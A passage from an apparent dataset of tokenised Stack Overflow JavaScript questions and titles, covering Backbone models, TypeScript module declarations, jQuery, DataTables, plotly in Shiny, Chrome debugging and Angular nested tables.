Object.values ( JSON.parse ( xhr.responseText ) ) ; }",Exactly when does the background script in a chrome extension get run ? "JS : As a company , we use components ( Angular , Vue and React ) to build our applications , but we still have a good number of global styles that we inherited from our legacy app.eg : Will apply to any element anywhere on the page that has a class of active.Is there a way , in the browser , to generate a list of all the global ( i.e . non-namespaced ) style rules that apply to a page , bearing in mind that these might be present inside of third-party libraries , or other miscellaneous legacy JavaScripts ? .active { background : red ; }",Is there a way to find all the global styles that apply to a web page ? "JS : I have a question about handling my models . I get all confused . When I load the page I get a JSON string from rails containing `` events '' these events have in turn one user , multiple participants , multiple payments and multiple comments , these comments , have in turn one user , and the payments have multiple users and a single user . The comments and payments also have an event pointing back att the parent.Okey , so the question is : Should I load everything as a tree , with full attributes everywhere : And then have the events model , to create new comments , payments and users , and assign it to it 's own event , or is it a better idea to load every event , user payment and comment into separate variables , and then use the variable to get the models.It is quite hard to explain , so feel free to ask if I need to clarify something.Conclusion : Should I let the event model handle the creation of all the nested objects , or is there some better way to handle this , and have access to the models more globaly ? Events User Participants ( users ) Payments User Users Event Comments User Event `` events '' : { `` id '' : `` event_1 '' , `` user '' : { `` id '' : `` user_1 '' , `` name '' : '' name '' } , `` participants '' : [ { `` id '' : `` user_1 '' , `` name '' : '' name '' } , { `` id '' : `` user_2 '' , `` name '' : '' name '' } ] , `` payments '' : [ { `` id '' : '' payment_1 '' , `` user '' : { `` id '' : `` user_1 '' , `` name '' : '' name '' } , '' users '' : [ { `` id '' : `` user_1 '' , `` name '' : '' name '' } , { `` id '' : `` user_2 '' , `` name '' : '' name '' } ] , `` event '' : { root event object } } ] , `` comments '' : [ { `` id '' : `` comment_1 '' , `` user '' : { `` id '' : `` user_1 '' , `` name '' : '' name '' } , `` event '' : { root event object } } ] } }",Models in Backbone.js "JS : I am wondering if it is possible to modify a HTMLInputElement to display something different than the value prop returns.Why that ? Well sometimes you want to display the user something nice like a string , but you want to post an ID to the server . If you are using multiple logic/plugins on the input it starts getting problematic with using an additional fake one . So why not include both into one ? ! = ) I already noticed it is possible to define a getter for the value prop . But I loose the native setter functionality which will change the displayed text . =/HTML : JS : So if you can tell me , if this is possible and keep the native setter or just a silly late night idea , let me know xD < input id= '' foobar '' type= '' text '' / > var input = document.getElementById ( 'foobar ' ) ; input.value = 'Mr . Foo Bar ' ; input.myHiddenValue = 123 ; Object.defineProperty ( input , 'value ' , { get : function ( ) { return this.myHiddenValue ; } } ) ;",Is it possible to overload the native HTMLInputElement value getter ? "JS : I 've created my own insertImageDialog hook to allow uploading of files directly within the editor.This works fine the first time I insert an image.Every time after , it fails with the following exception : Uncaught TypeError : Can not call method 'removeChild ' of null Markdown.Editor.js:1683 commandProto.doLinkOrImage.linkEnteredCallback Markdown.Editor.js:1683 self.initMarkdownEditor.editor.hooks.set. $ .ajaxfileupload.onCompleteThe uploading works fine outside of the editor so I can only think it is some kind of scoping issue with the callback.Have been pulling my hair out over this for most of the day . $ ( 'div # insertImageDialog input [ type=file ] ' ) .ajaxfileupload ( { action : $ file.attr ( 'data-action ' ) , onStart : function ( ) { $ loader.show ( ) ; } , onComplete : function ( response ) { $ loader.hide ( ) ; if ( response.success ) { callback ( response.imagePath ) ; // < -- -- oO dialogClose ( ) ; } else { alert ( response.message ) ; $ file.val ( `` ) ; } } } ) ;",Pagedown Editor insertimagedialog hook "JS : I try to get the height of < br / > on my webpage . I use this snippet.But only the Mozilla Firefox like this code , all other browsers give back 0.Is there a short JS code that gives me the correct height back ? PS : i use this method , because i know that the needed size X is X= other_size - 4*br_size br_size = $ ( 'br ' ) .height ( ) ; console.log ( br_size ) ;",How to get height of `` br '' element using jquery ? "JS : I ca n't seem to get any import to work when the module is n't defined as a string . What is going on ? test.tsDoes not work : backbone.d.tsWorks : backbone.d.tsEdit 1 : FYI From 10.1.4 An AmbientModuleIdentification with a StringLiteral declares an external module . This type of declaration is permitted only in the global module . The StringLiteral must specify a top-level external module name . Relative external module names are not permittedI do n't understand how it 's useful to not specify it as the string literal format as found here and here . It works if you use /// < reference ... without a string literal module but I 'm trying to generate AMD modules that depend on these libraries so I need the import to work . Am I the minority and I have to go and modify each .d.ts to be the string literal version ? Edit 2 : Declaring a module using a string literal requires that your import is an exact match if that string literal . You can no longer use relative or absolute paths to the location of this module/module definition even if it is not located in the same directory as the file trying to import it . This makes it that a /// < reference and an import are required but produces a module with tsc -- module AMD that was exactly looking for ( path to module is as dictated by the module string literal `` Backbone '' ) .For example.backbone.d.ts : Works : test.ts : Does not work : test.ts : Note that this works as well ... import b = module ( 'Backbone ' ) declare module Backbone { export class Events { ... declare module `` Backbone '' { export class Events { ... +- dep/ |- backbone.d.ts|- test.ts declare module `` Backbone '' { export class Events { /// < reference path= '' ../dep/backbone.d.ts '' / > import b = module ( 'Backbone ' ) // generates// define ( [ `` require '' , `` exports '' , 'Backbone ' ] import b = module ( './dep/Backbone ' ) declare module `` libs/Backbone '' { ... /// < reference path= '' dep/backbone.d.ts '' / > import b = module ( 'libs/Backbone ' ) ... // generatesdefine ( [ `` require '' , `` exports '' , 'libs/Backbone ' ]",Using a backbone.d.ts "JS : Is this even possible ? Keep reading conflicting reports on this.I have a Marionette app , just upgraded to 2.4.4.If I drop in lodash in place of underscore - using requireJS , I get the following error ... lodash is loading up ok , just marionette is complaining.It appears that the context this on line 466 is undefinedAny advice ? map : { '* ' : { 'underscore ' : 'lodash ' } } , // 'underscore ' : '/resource/vendor/backbone.marionette/underscore ' , 'lodash ' : '/resource/vendor/lodash/lodash.min ' , Uncaught TypeError : Can not read property 'vent ' of undefined 463 _proxyMethods : function ( ) { 464 _.each ( [ `` vent '' , `` commands '' , `` reqres '' ] , function ( system ) { 465 _.each ( messageSystems [ system ] , function ( method ) { 466 this [ system ] [ method ] = proxyMethod ( this , system , method ) ; 467 } , this ) ; 468 } , this ) ; 469 }",swap underscore 1.8.3 for lodash 4.2.1 in backbone marionette 2.4.4 "JS : I have added a breakpoint to the following code in line 44 debugger ; . I expected chrome to stop there every time before console.log ( `` ... '' ) is executed . But to my surprise it stops only one time . To test the example : Run the snippet below in ChromeOpen Chrome Dev ToolsDrag an image from another website in the drop areaAt this point chrome stops at the breakpoint . But if you look in the console you should see that the console.log statement was executed two more times.I would like to know why this happens . ( Threading issue ? ? ) And how I can solve this if I want to debug the code at this line.EDIT I reported this as a bug here : https : //bugs.chromium.org/p/chromium/issues/detail ? id=748923 $ ( document ) .ready ( function ( ) { $ ( ' # drop-area ' ) .on ( `` dragover '' , function ( event ) { event.preventDefault ( ) ; event.stopPropagation ( ) ; $ ( this ) .addClass ( 'dragging ' ) ; } ) ; $ ( ' # drop-area ' ) .on ( `` dragleave '' , function ( event ) { event.preventDefault ( ) ; event.stopPropagation ( ) ; $ ( this ) .removeClass ( 'dragging ' ) ; } ) ; $ ( ' # drop-area ' ) .on ( `` drop '' , function ( event ) { event.preventDefault ( ) ; event.stopPropagation ( ) ; var count = 1 ; var dropObj = event.originalEvent.dataTransfer ; for ( var i = 0 ; i < dropObj.items.length ; i++ ) { var aDropItm = dropObj.items [ i ] ; if ( aDropItm.kind == `` file '' ) { //ignore } else { aDropItm.getAsString ( function ( _str ) { debugger ; //The debugger should stop here every time before the string is printed to the console console.log ( `` This was called [ `` + count++ + `` ] times '' ) ; } ) ; } } } ) ; } ) ; # drop-area { background-color : red ; width : 400px ; height : 400px ; } < div id= '' drop-area '' > Drop files here ... < /div > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js '' > < /script >",Chrome debugger does n't stop "JS : In short : I would like to bind the result of .bind as an arguement in it 's own callbecause I 'm not sure how else to solve my problem.The problem : I have an item that is dependent on an array of other items.Once one of those items is removed I want to remove the dependent item , and remove all the listeners placed on the dependencies.I 'm struggling to remove the eventhandlers of the other dependencies . I 'm trying to use bind , but since the handler function is the one that removes the listeners , I find that I would have to bind the result of the bind ( ) call in it 's own call as an argument . This does ofcourse not work . The bind call bellow binds the unbound version of 'handler ' as a parameter , and thus removeEventListener does not work as it is a different copy of the function.The question is : can I use bind to do this and/or how can I otherwise solve this ? Im using eventemitter3 , but it should be the same for any event library.edit : Complete working example to run in nodejs : var bound = foo.bind ( this , bound ) ; setHandlers ( dependentItem , dependencies ) { var handler = this.onDependencyRemoved ; handler = handler.bind ( this , dependentItem , dependencies , handler ) ; //bind itself as third argument dependencies.forEach ( dependency = > { dependency.addEventListener ( `` removed '' , handler ) ; } ) ; } onDependencyRemoved ( dependentItem , dependencies , handler ) { dependentItem.remove ( ) ; dependencies.forEach ( dependency = > { dependency.removeEventListener ( `` removed '' , handler ) ; } ) ; } const EventEmitter = require ( 'events ' ) ; //const EventEmitter = require ( 'eventemitter3 ' ) ; class MyEmitter extends EventEmitter { remove ( ) { console.log ( `` I 'm being removed , this should happen only once '' ) ; } } var dependent = new MyEmitter ( ) ; var dependencies = [ new MyEmitter ( ) , new MyEmitter ( ) ] ; var handler = ( e ) = > removeHandler ( dependencies , dependent , handler ) ; dependencies.forEach ( dependency = > dependency.once ( 'removed ' , handler ) ) ; var removeHandler = function ( dependencies , dependent , handler ) { //remove the dependent object because one of the dependencies was removed dependent.remove ( ) ; //remove the listeners from all of the dependencies dependencies.forEach ( dependency = > { console.log ( 'before removing : '+dependency.listeners ( 'removed ' ) .length ) ; dependency.removeListener ( 'removed ' , handler ) ; console.log ( 'after removing : '+dependency.listeners ( 'removed ' ) .length ) ; } ) ; } //should remove the dependent objectdependencies [ 0 ] .emit ( `` removed '' ) ; //should not do anything anymore since the listeners are removeddependencies [ 1 ] .emit ( `` removed '' ) ;",Remove an eventhandler in the handler itself "JS : I thought this question would have been answered but I ca n't work this out . Have tried : https : //datatables.net/forums/discussion/25833/is-there-any-way-to-programmatically-select-rowshttps : //datatables.net/reference/api/row ( ) .select ( ) I 'm using DataTables 1.10.16 in serverSide mode - my data is loaded in via ajax as opposed to being there on page load.My markup is simply a table with an ID , # substancesTable : The js to load the data is as follows : This populates my table fine . I have an event handler such that when a user manually clicks on on a row ( any < td > element inside the # substancesTable ) it makes a further ajax request to obtain more data which is then populated inside the < td > that the user clicked . This code is also responsible for closing/collapsing any open rows : The code above calls a function expand_substance which handles the ajax request mentioned . This all works fine.What I 'm trying to do is find a way to programatically open certain rows . What I mean by this is having an array of row ID 's that the user has clicked on , e.g.This array data will be stored in Redis ( cache ) so if the user navigates away from the page , when they return , the data in openRows will be loaded and I want to open the appropriate rows . But I do n't know how to tell DataTables to open rows 5 , 6 , 8 , 33 , 100 , etc.The links above do n't seem to work for me . For example , if I try : I get a console error : VM308:1 Uncaught TypeError : substancesTable.row is not a functionI 'm not sure if that 's even how to open the row but could n't find any more information that helped.So , is it possible to use JavaScript to open certain rows of the table based on an array of known ID 's ( openRows ) ? < table id= '' substancesTable '' cellspacing= '' 0 '' width= '' 100 % '' > < thead > < tr > < th > ID < /th > < th > EC < /th > < th > CAS < /th > < th > Name < /th > < /tr > < /thead > < /table > var substancesTable = $ ( ' # substancesTable ' ) .DataTable ( { `` processing '' : true , `` serverSide '' : true , `` searching '' : false , `` ajax '' : { `` url '' : `` /get-substances.json '' , `` dataSrc '' : function ( json ) { return json.data ; } } } ) ; $ ( ' # substancesTable tbody ' ) .on ( 'click ' , 'td ' , function ( ) { var tr = $ ( this ) .closest ( 'tr ' ) ; var row = substancesTable.row ( tr ) ; if ( row.child.isShown ( ) ) { row.child.hide ( ) ; tr.removeClass ( 'shown ' ) ; } else { row.child ( expand_substance ( row.data ( ) ) ) .show ( ) ; tr.addClass ( 'shown ' ) ; } } ) ; var openRows = [ 5 , 6 , 8 , 33 , 100 ] ; substancesTable.row ( ' : eq ( 0 ) ' , { page : 'current ' } ) .select ( ) ;",How do you programatically open multiple rows in DataTables "JS : On the Surface Pro 3 with Firefox only : When making a swiping gesture with a single finger over an element , the browser will fire wheel events instead of touchmove or mousemove events . How do you stop the wheel behavior , and allow a single finger to always be treated as touch/mouse movement instead ? So I want to treat a single finger swipe as a series of mousemove or touchmove instead of as wheel events . I do not want a single finger swipe to scroll the page at all if swiping over this element . This is easy to do in Chrome and IE11 . This seems not-possible right now in Firefox . Current I think this is a bug , but there may be something I 'm missing.Here is a simplistic example : http : //codepen.io/simonsarris/pen/PwbdRZBecause I am preventing default in wheel , scrolling the page is stopped when one-finger swiping up or downThe window scrolling is stopped in firefox if you swipe in the red box , but no mousemove or touchmove events will fire . ( yet mousemove will fire if you swipe horizontally instead of vertically ) var can = document.getElementById ( 'can ' ) ; can.addEventListener ( 'mousemove ' , function ( e ) { // Will never happen on the Surface Pro 3 in Firefox // Will happen in IE11 though console.log ( 'mouseMove ' ) } ) ; can.addEventListener ( 'touchmove ' , function ( e ) { // Will never happen on the Surface Pro 3 in Firefox // Will happen in Chrome though console.log ( 'touchMove ' ) } ) ; // Stops the window from scrolling in firefox when you swipe on the element// But stopping this does not allow the single touch gesture to register as mousemove or touchmove eventscan.addEventListener ( 'wheel ' , function ( e ) { console.log ( 'wheel ' ) e.preventDefault ( ) ; } ) ; // consider also the 'DOMMouseScroll ' event , though preventing this event will not stop firefox from panning the page .",Surface Pro 3 with Firefox - Have single touch trigger touch/mouse events instead of wheel events "JS : In V8 , an object changes its hidden class when a new property is added.My question is simple , will this create a new hidden class ? I ask this question because in a coding style guideline I have read , they said we should declare class properties by creating a prototype instead of assigning them in the constructor . This will also help us to easily document them with JSDoc.Thanks a lot . function Point ( x , y ) { this.x = x ; // This will create new hidden class this.y = y ; // This too } Point.prototype.z = null ;",Will the object change its hidden class if we create new prototype properties ? "JS : Everytime a plotly object is created by R in shiny , ( or just in R ) , the widget is recreated completely . For small data sets this is not a problem , but i 'm working with plots that contain thousands of scatter points , making it take 10-20 seconds to recreate a plot in my shinyapp . I 'm looking for a way to update the data through a javascript solution that does n't trigger the widget to be rebuild , but simply replaces it 's data . Here is a dummy app with 2 small data sets between which the app can switch . In the dummy app it does it by recreating the widget . Quite fast here due to the limited datapoints , but not ideal for massive data sets.If anyone knows how to accomplish this , it would be a major improvement for my app . TO CLARIFY : An answer like this one here : enter link description here wo n't do the trick for me . The point is , in my app data is changed many times AFTER the plot has been build so I ca n't pre-load a list of data frames . I have the feeling the solution would have to be a javascript solution that can grab the data to overwrite the currently plotted data , but not sure how or whether this can be done . library ( `` shiny '' ) library ( `` plotly '' ) ui < - fluidPage ( selectInput ( `` dataset '' , `` Choose a dataset : '' , choices = c ( `` rock '' , `` mtcars '' ) ) , plotlyOutput ( `` Plot1 '' ) ) server < - function ( input , output , session ) { dataSource < - reactive ( { switch ( input $ dataset , '' rock '' = rock , '' mtcars '' = mtcars ) } ) output $ Plot1 < - renderPlotly ( { plot_ly ( data = dataSource ( ) , x = dataSource ( ) [ ,1 ] , y =dataSource ( ) [ ,2 ] , mode = 'markers ' , type = 'scatter ' ) } ) } shinyApp ( ui , server )",Update plotly in R without recreating widget when plotted data is altered "JS : My dependencies to be resolved rely on data which changes . How do you force angular to resolve dependencies again ? i.e , every time this when block is executed I want to re-resolve the dependency.Is this trivial , or not so much ? $ routeProvider . when ( '/blah ' , { templateUrl : '/static/views/myView.html ' , controller : 'myCtrl ' , resolve : { theData : function ( myFactory ) { return myFactory.promise ; } } } ) .",Angular : force resolve again "JS : As a form of input validation I need to coerce a string like ' 9 > 6 ' to evaluate to a boolean value.Apart from evaluating the string I ca n't seem to find a workaround .I 've always heard about the evilness of eval ( especially since I 'm validating a form input ) , about the fact that it could evaluate any script and performance issues.but ... .Are there any alternative in my case ( dealing with relational operators ) ? var arr = [ ' < 9 ' , ' > 2 ' ] ; var check = function ( a ) { return arr.every ( function ( x ) { var string = `` ; string += a + x ; try { return eval ( string ) ; } catch ( e ) { return false ; } } ) ; } ; console.log ( check ( ' 3 ' ) )",Alternative to Evil Eval - relational operators "JS : I have a working code for entering valid minimum and maximum value in text box by using below code : But how about if I have multiple ranges allowed ? For example : In my text box , numbers from 1 to 5 and 10 to 15 is allowed , so numbers from 6-9 and 16 & up is not allowed . How to do this using javascript/jquery or angularjs ? < input type= '' number '' name= '' quantity '' min= '' 1 '' max= '' 5 '' >",Multiple Min and Max value for textbox "JS : I am working on some code that will load a bunch ( 20+ ) of big images ( ~500 KB each ) sequentially . After each image has loaded , it fades in . I used this fiddle from this discussion as a starting point.I 've got the images loading just the way I want , but I need to do a couple of other things without breaking this sequential loading . I need to load markup containing an iframe in between the third and fourth images , and I need to load a link after the images . Here is an example of the markup output I need : I can load images just fine , but I am stuck with how to load that iframe only after the first three have loaded , and then have the rest of the images load , and then the link . Here is my current javascript : The `` no '' variable sets the number of images to cycle through ( I need to do this on multiple pages with different numbers of images ) , and the loadImages function takes arguments for which array to cycle through , and where to put the images . This code could probably be a lot cleaner , but I 'm new to javascript . Any help would be greatly appreciated ! < div id= '' container '' > < img src= '' img-1.jpg '' / > < img src= '' img-2.jpg '' / > < img src= '' img-3.jpg '' / > < div > < iframe > < /iframe > < /div > < img src= '' img-4.jpg '' / > < img src= '' img-5.jpg '' / > < img src= '' img-6.jpg '' / > < img src= '' img-7.jpg '' / > < img src= '' img-8.jpg '' / > < img src= '' img-9.jpg '' / > < a href= '' /link/ '' > Link text < /a > < /div > var no = 22 , main = [ ] , i ; for ( i = 1 ; i < = no ; i++ ) { main [ i ] = `` path/to/image/folder/img- '' + i + `` .jpg '' ; } function loadImages ( arr , loc ) { if ( arr.length === 0 ) { return ; } function imageLoaded ( img ) { $ ( img ) .hide ( ) .appendTo ( loc ) .fadeIn ( 800 ) ; } function loadImage ( ) { var url = arr.shift ( ) , img = new Image ( ) , timer ; img.src = url ; if ( img.complete || img.readyState === 4 ) { imageLoaded ( img ) ; if ( arr.length ! == 0 ) { loadImage ( ) ; } } else { timer = setTimeout ( function ( ) { if ( arr.length ! == 0 ) { loadImage ( ) ; } $ ( img ) .unbind ( `` error load onreadystate '' ) ; } , 10000 ) ; $ ( img ) .bind ( `` error load onreadystatechange '' , function ( e ) { clearTimeout ( timer ) ; if ( e.type ! == `` error '' ) { imageLoaded ( img ) ; } if ( arr.length ! == 0 ) { loadImage ( ) ; } } ) ; } } loadImage ( ) ; } loadImages ( main , '' # container '' ) ;",Using jQuery to sequentially load and fade in elements "JS : I am using the stable release 0.6.0 of Active Admin and rails 3.2.17.I am trying to get batch actions running , but I get this error in general when using active admin : So the dropdown of batch actions will stay disabled.My active_admin.js file looks like this : If anyone knows why this is n't working I am really thankful ! Uncaught ReferenceError : options is not defined active_admin.js:407 Uncaught ReferenceError : options is not defined //= require active_admin/base",Active Admin Batch Dropdown Disabled Uncaught ReferenceError : options is not defined "JS : When dealing with multiple classes in a Javascript/NodeJS game , I 'm having trouble figuring out which class should emit events and which classes should listen for the . I am following this guide to creating event-driven games : http : //pragprog.com/magazines/2011-08/decouple-your-apps-with-eventdriven-coffeescriptI 'm writing a small game and have split my classes into the following controllers : world - creates the game world and progresses through a number of 'turns ' to determine some simple game logic ( i.e . a character should move , a tower should shoot ) .tower - a tower sits on a 10x10 grid and has a range . When an object comes into range , it can shoot.mobs ( enemies ) - a mob spawns on the 10x10 grid and moves every 3 seconds . At some point , it wanders in range of a tower.I have been reading about EventEmitters all day but ca n't seem to figure out the right way to architect my events . Should the mobs fire an event when they move , and the tower listen for a 'move ' event ? Or should the world control all of the events and the tower/mobs listen to the world ? See below for example code.Background : I 've been working on a simple TowerD game for NodeJS and decided to implement the server first . I 'm storing all entities in MongoDB and using geospatial calculation to determine if objects are in range to shoot . Currently i 'm using a rudimentary 3 second loop to 'tick ' the game and progress logic but I 'd like to move to a truly event-driven model and am struggling.World : ( see full world.coffee : https : //github.com/bdickason/node-towerd/blob/master/controllers/world.coffee ) Tower : ( see full towers.coffee : https : //github.com/bdickason/node-towerd/blob/master/controllers/towers.coffee ) Mobs : ( see full source of mobs.coffee : https : //github.com/bdickason/node-towerd/blob/master/controllers/mobs.coffee ) Full source of project : https : //github.com/bdickason/node-towerdAny event help would be appreciated . I 've poured over about 15 nodejs games on github and have n't found anyone using this pattern yet : ( exports.World = class World extends EventEmitter constructor : - > # # # Initial config # # # @ gameTime = 3000 # every 3000ms , the game progresses # # # Start the game ! ! # # # @ game = setInterval - > world.gameLoop ( ) , @ gameTime # # # Load the map # # # # First level : Hidden Valley @ maps = [ ] @ maps.push new map 'hiddenvalley ' # # # Load the mobs # # # # First map has one mob : Warrior @ mobs = [ ] # Let 's create two of them @ mobs.push new mob @ maps [ 0 ] .mobs [ 0 ] @ mobs.push new mob @ maps [ 0 ] .mobs [ 0 ] exports.Tower = class Tower constructor : ( name ) - > name = name.toLowerCase ( ) # In case someone throws in some weird name # Check for anything within range checkTargets : ( callback ) - > mobModel.find { loc : { $ near : @ loc , $ maxDistance : @ range } } , ( err , hits ) - > if err console.log 'Error : ' + err else callback hits exports.Mob = class Mob extends EventEmitter move : ( X , Y , callback ) - > @ loc = [ @ loc [ 0 ] + X , @ loc [ 1 ] + Y ] newloc = @ loc mobModel.find { uid : @ uid } , ( err , mob ) - > if ( err ) console.log 'Error finding mob : { @ uid } ' + err else mob [ 0 ] .loc = newloc mob [ 0 ] .save ( err ) - > if ( err ) console.log 'Error saving mob : { @ uid } ' + err console.log 'MOB ' + @ uid + ' [ ' + @ id + ' ] moved to ( ' + @ loc [ 0 ] + ' , ' + @ loc [ 1 ] + ' ) '","In a NodeJS game with each object as a class , how should events be treated ?" "JS : My query is : And that generates the following query : That 's all well and good , except I want the ORDER BY to apply to the inner Query ( SELECT `` Question '' . `` id '' , `` Question '' . '' status '' , ) . How can I achieve this ? db.Question.findAll where : id : $ notIn : if questionIds.length > 0 then questionIds else [ -1 ] TopicId : topicCount.id PassageId : null status : 'active ' level : $ lte : startLevel $ gte : endLevel include : [ model : db.Answer ] order : [ db.Sequelize.fn 'RANDOM ' ] limit : questionSections [ sectionIndex ] .goal * 2 SELECT `` Question '' . * , `` answers '' . `` id '' AS `` Answers.id '' , `` answers '' . `` answertext '' AS `` Answers.answerText '' , `` answers '' . `` iscorrect '' AS `` Answers.isCorrect '' , `` answers '' . `` createdat '' AS `` Answers.createdAt '' , `` answers '' . `` updatedat '' AS `` Answers.updatedAt '' , `` answers '' . `` questionid '' AS `` Answers.QuestionId '' FROM ( SELECT `` Question '' . `` id '' , `` Question '' . `` status '' , `` Question '' . `` questiontext '' , `` Question '' . `` level '' , `` Question '' . `` originalid '' , `` Question '' . `` createdbyuserid '' , `` Question '' . `` editedbyuserid '' , `` Question '' . `` createdat '' , `` Question '' . `` updatedat '' , `` Question '' . `` instructionid '' , `` Question '' . `` topicid '' , `` Question '' . `` subjectid '' , `` Question '' . `` passageid '' FROM `` questions '' AS `` Question '' WHERE `` Question '' . `` id '' NOT IN ( -1 ) AND `` Question '' . `` topicid '' = '79 ' AND `` Question '' . `` passageid '' IS NULL AND `` Question '' . `` status '' = 'active ' AND ( `` Question '' . `` level '' < = 95 AND `` Question '' . `` level '' > = 65 ) LIMIT 300 ) AS `` Question '' LEFT OUTER JOIN `` answers '' AS `` Answers '' ON `` Question '' . `` id '' = `` answers '' . `` questionid '' ORDER BY Random ( ) ;",Using Sequelize how can I specify which field to sort / limit by ? "JS : I read the doc here : https : //documentation.onesignal.com/docs/cordova-sdk but it 's totally not clear ! I try severals test nothing , I event test to get the title but still nothingHow to retrieve this data..Thanks document.addEventListener ( 'deviceready ' , function ( ) { // Enable to debug issues . // window.plugins.OneSignal.setLogLevel ( { logLevel : 4 , visualLevel : 4 } ) ; var notificationOpenedCallback = function ( jsonData ) { alert ( 'notificationCallback : ' + JSON.stringify ( jsonData ) ) ; = > json data alert ( 'Title : '+ JSON.stringify ( jsonData.payload.title ) ) ; = > nothing alert ( 'Title2 : '+ jsonData.payload.title ) ; = > nothing alert ( 'Additional data : '+ jsonData.payload.additionalData ) ; = > nothing } ; window.plugins.OneSignal .startInit ( `` MY_ID '' ) .handleNotificationOpened ( notificationOpenedCallback ) .endInit ( ) ; } , false ) ;",Get additionalData from Onesignal ( Phonegap ) JS : Say you have a couple of simple Flow types with optional properties : And you want to access the properties in a chain and know they are defined : What 's the idiomatic way to tell Flow that a.b and b.action are safe ? type A = { b ? : B } ; type B = { action ? : ( ) = > void } ; a.b.action ( ),What is the idiomatic way to succinctly tell Flow that nullable properties will not be null in a chain of property accesses ? "JS : so , i made a simple animated progress bar in jQuery . you can view it here . I need some code in this post , so here 's my CSS : my question : as the progress bar reaches the end , the elements `` pop '' out of existence when they overflow the div and are hidden , instead of staying visible until they 're completely out of the div . specifically , when the CSS arrow disappears as it reaches the end , the end of the progress bar changes from a triangle to a line , which is really visually jarring . is there any way to change this behavior , either in CSS or jQuery , to have elements hide `` smoothly '' ? .progress { height : 14px ; width : 300px ; background : # 111 ; border-radius : 5px ; vertical-align : middle ; display : inline-block ; overflow : hidden ; color : white ; } .filename { font-size : 10px ; color : white ; position : relative ; } .progresstop { padding : 4px ; width : 40px ; border-top-left-radius : 5px ; border-bottom-left-radius : 5px ; height : 8px ; float : left ; background : # c44639 ; vertical-align : middle ; display : inline-block ; } .arrow-right { width : 0px ; height : 0px ; border-style : solid ; background : # 111 ; border-width : 7px 7px 7px ; border-color : transparent transparent transparent # c44639 ; float : left ; display : inline-block ; }",changing CSS overflow hidden behavior "JS : I 'm trying to get a json request , sent by post , and do the JSON.parse on it . But this error happens : Uncaught SyntaxError : Unexpected token m in JSON at position 2 at JSON.parse ( ) at :1:19The code below reproduces the error : And that 's the way I 'm sending it in my post { msg_reject : 'Rejeitado porque sim ' , accept : 1 , photo : 'FSADKJK23B1 ' } Is there something wrong in the way I 'm sending it ? const string = ' { msg_reject : \'Rejeitado porque sim\ ' , accept : 1 , photo : \'FSADKJK23B1\ ' } 'const json = JSON.parse ( string )",JSON.parse not having the expected behaviour "JS : I have got help here to put together this code . And it works perfect in Chrome , Safari and in Internet Explorer . But in Firefox it redirects to a sub-url ( probably not right word for it ... ) I have the script on a page : http : //example.com/testAnd I want to redirect to a new page based on the value the user chooses ( and then click the button ) : So if I choose option # 2 I want to get to here : http : //example.com/my-test-2It works in the other browsers , but not in Firefox . In Firefox it in stead redirects to : http : //example.com/test ? redirect=http % 3A % 2F % 2Fexample.com % 2Fmy-test-2which of course does n't lead anywhere.The HTML is loaded in a jquery and Bootstrap environment , and I do use modals on that page . I just mention this in case there is a know error for Firefox using those framworks . Here is the HTML : The javascript : Here is a fiddleDo you see the reason why Firefox behaves like this ? If of interest : I work on a Mac OSX 10.10.2 with Chrome 42.0.2311.90 ( 64-bit ) , Firefox 37.0.2 and Windows 8.1 IE 11.09600.17728 I want to choose : < form id= '' mychoice '' > < input type= '' radio '' name= '' redirect '' value= '' http : //example.com/my-test-1 '' > < span > 1 < /span > < br > < input type= '' radio '' name= '' redirect '' value= '' http : //example.com/my-test-2 '' > < span > 2 < /span > < br > < input type= '' radio '' name= '' redirect '' value= '' http : //example.com/my-test-3 '' > < span > 3 < /span > < br > < input type= '' radio '' name= '' redirect '' value= '' http : //example.com/my-test-4 '' > < span > 4 < /span > < br > < input type= '' radio '' name= '' redirect '' value= '' http : //example.com/my-test-5 '' > < span > 5 < /span > < br / > < br / > < input type= '' submit '' value= '' See result '' > < /form > $ ( document ) .ready ( function ( ) { $ ( `` # mychoice '' ) .submit ( function ( ) { event.preventDefault ( ) ; var loc = $ ( 'input [ name= '' redirect '' ] : checked ' ) .val ( ) ; window.location = loc ; return false ; } ) ; } ) ;",How to get this javascript redirect to work in Firefox ? "JS : here i am trying to create a nested expandable table from flat jsonwhat i did : below is flat json : and converted it to the nested json like below : and it came like belowIssue : 1 . In the expandable rows the parent data is again repeated instead of displaying the child ( which is there in under nested ) .Although implemented checkbox selection for all rows but it has been effected for only for parent not to the child so need to select all the rows in the table and get their idsIm not sure what is causing the issue below is my stackblitz : -- > https : //stackblitz.com/edit/angular-wsdvgd public unsortedData = [ { `` url '' : `` 3452188c-a156-4ee4-b6f9-9d313bdbb148 '' , `` _id '' : `` 3452188c-a156-4ee4-b6f9-9d313bdbb148 '' , `` part '' : `` wing '' , `` main '' : `` boeing '' , `` part_id '' : `` 3452188c-a156-4ee4-b6f9-9d313bdbb148 '' , `` information.data_check '' : `` ad1bd2a7-710d-88aa-6da0-8de2140417c6 '' } , { `` url '' : `` ad1bd2a7-710d-88aa-6da0-8de2140417c6 '' , `` _id '' : `` ad1bd2a7-710d-88aa-6da0-8de2140417c6 '' , `` part '' : `` wing '' , `` main '' : `` boeing '' , `` part_id '' : `` ad1bd2a7-710d-88aa-6da0-8de2140417c6 '' , `` information.data_check '' : `` parent_info '' } , { `` url '' : `` 3b42eeee-c7e3-4d75-953e-941351b4e0f9 '' , `` _id '' : `` 3b42eeee-c7e3-4d75-953e-941351b4e0f9 '' , `` part '' : `` wing '' , `` main '' : `` boeing '' , `` part_id '' : `` 3b42eeee-c7e3-4d75-953e-941351b4e0f9 '' , `` information.data_check '' : `` single_info '' } ] ; [ { `` nested '' : [ { `` url '' : `` 3452188c-a156-4ee4-b6f9-9d313bdbb148 '' , `` _id '' : `` 3452188c-a156-4ee4-b6f9-9d313bdbb148 '' , `` part '' : `` wing '' , `` main '' : `` boeing '' , `` part_id '' : `` 3452188c-a156-4ee4-b6f9-9d313bdbb148 '' , `` information.data_check '' : `` ad1bd2a7-710d-88aa-6da0-8de2140417c6 '' } ] , `` url '' : `` ad1bd2a7-710d-88aa-6da0-8de2140417c6 '' , `` _id '' : `` ad1bd2a7-710d-88aa-6da0-8de2140417c6 '' , `` part '' : `` wing '' , `` main '' : `` boeing '' , `` part_id '' : `` ad1bd2a7-710d-88aa-6da0-8de2140417c6 '' , `` information.data_check '' : `` parent_info '' } , { `` url '' : `` 3b42eeee-c7e3-4d75-953e-941351b4e0f9 '' , `` _id '' : `` 